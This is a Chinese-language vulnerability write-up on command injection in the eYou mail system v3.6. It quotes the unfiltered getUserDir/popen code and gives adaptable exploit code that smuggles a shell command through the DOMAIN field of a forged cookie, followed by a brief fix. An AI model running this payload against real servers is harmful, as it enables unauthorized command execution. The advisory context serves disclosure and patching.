有条件限制,需要登陆权限,新版本无效,还是命令执行。问题出在getUserDir这个函数里,$_COOKIE毫无过滤带入。
先看eYou的代码:
//获取用户目录 function getUserDir($uid, $domain) { $handle = popen("/var/eyou/sbin/hashid $uid $domain", 'r'); $read = fread($handle, 2096); pclose($handle); return $read; }
$domain无过滤,直接可以执行。
接着是利用代码,没有现成的哈,自己看着来改就行了。
public function action_test() { $cmd = "ls>t.txt"; $request = Request::factory('http://mail.XXXXXXXXXXXX.cn/user/autoComplete.php?s=1') ->cookie('USER', "LASTONE=fake&ENTER_TYPE=0&NO_EYCM=1&GWJUMP=1&MAXRCPTNUM=150&LANG=zh_CN&TOKEN=z2GYCv1SJ&DOMAIN=test测试数据;{$cmd}&UID=test&LOGIN_DOMAIN=test测试数据&LOGIN_UID=timothy&ATTSIZE=10&CALLBACK=0&TRACEMAIL=0&GROUPADDR=0&VIEWLIST=0&GLOBALPERMISSION=0&NOTATION=0&BYTESPERCENT=0&BOOKMARK=1&MOBILEMESSAGE=0&DIALUP=0&VIDEOMAIL=0&SECUREMAIL=0&VOICEMAIL=1&CALENDAR=1&STORAGE=1&TOTALSPACE=200&LOCKSTATUS=0&USERNAME=&EXPTIME=0&LETTERS=5000"A=100&COMPANYADDR=&SKIN=current&") ->cookie(' PHP SESSID', 'e1c8798afec734384cd908180e52b1cf') ->execute(); echo Debug::vars($request); exit; }
修复方案: 在getUserDir方法中用正则验证下domain。
查看更多关于eYou邮箱系统v3.6命令执行 - 网站安全 - 自学php的详细内容...